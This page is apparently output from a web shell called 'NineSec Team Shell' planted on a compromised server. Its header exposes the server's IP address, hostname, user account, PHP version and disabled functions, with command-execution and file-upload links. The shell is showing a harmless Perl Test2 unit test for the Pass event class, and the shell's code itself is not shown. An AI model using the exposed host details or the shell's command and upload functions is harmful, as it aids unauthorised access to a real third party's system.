NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/doc/perl-Test-Simple/t/Test2/modules/Event/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/doc/perl-Test-Simple/t/Test2/modules/Event/Pass.t
use strict;
use warnings;

use Test2::Tools::Tiny;
use Test2::API qw/intercept context/;

use ok 'Test2::Event::Pass';
my $CLASS = 'Test2::Event::Pass';

my $one = $CLASS->new(name => 'soup for you', trace => {frame => ['foo', 'foo.pl', 42]});

is($one->summary,          "pass", 'summary');
is($one->increments_count, 1,      'increments_count');
is($one->diagnostics,      0,      'diagnostics');
is($one->no_display,       0,      'no_display');
is($one->subtest_id,       undef,  'subtest_id');
is($one->terminate,        undef,  'terminate');
is($one->global,           undef,  'global');
is($one->sets_plan,        undef,  'sets_plan');
is($one->causes_fail,      0,      'causes_fail is false');

$one->add_amnesty({tag => 'blah', details => 'blah'});
$one->add_info({tag => 'xxx', details => 'yyy'});

is_deeply(
    $one->facet_data,
    {
        trace => {frame => ['foo', 'foo.pl', 42]},
        about   => {package => $CLASS, details => 'pass', eid => $one->eid},
        assert  => {pass    => 1,      details => 'soup for you'},
        amnesty => [{tag    => 'blah', details => 'blah'}],
        info    => [{tag    => 'xxx',  details => 'yyy'}],
    },
    "Got facet data"
);

done_testing;

NineSec Team - 2022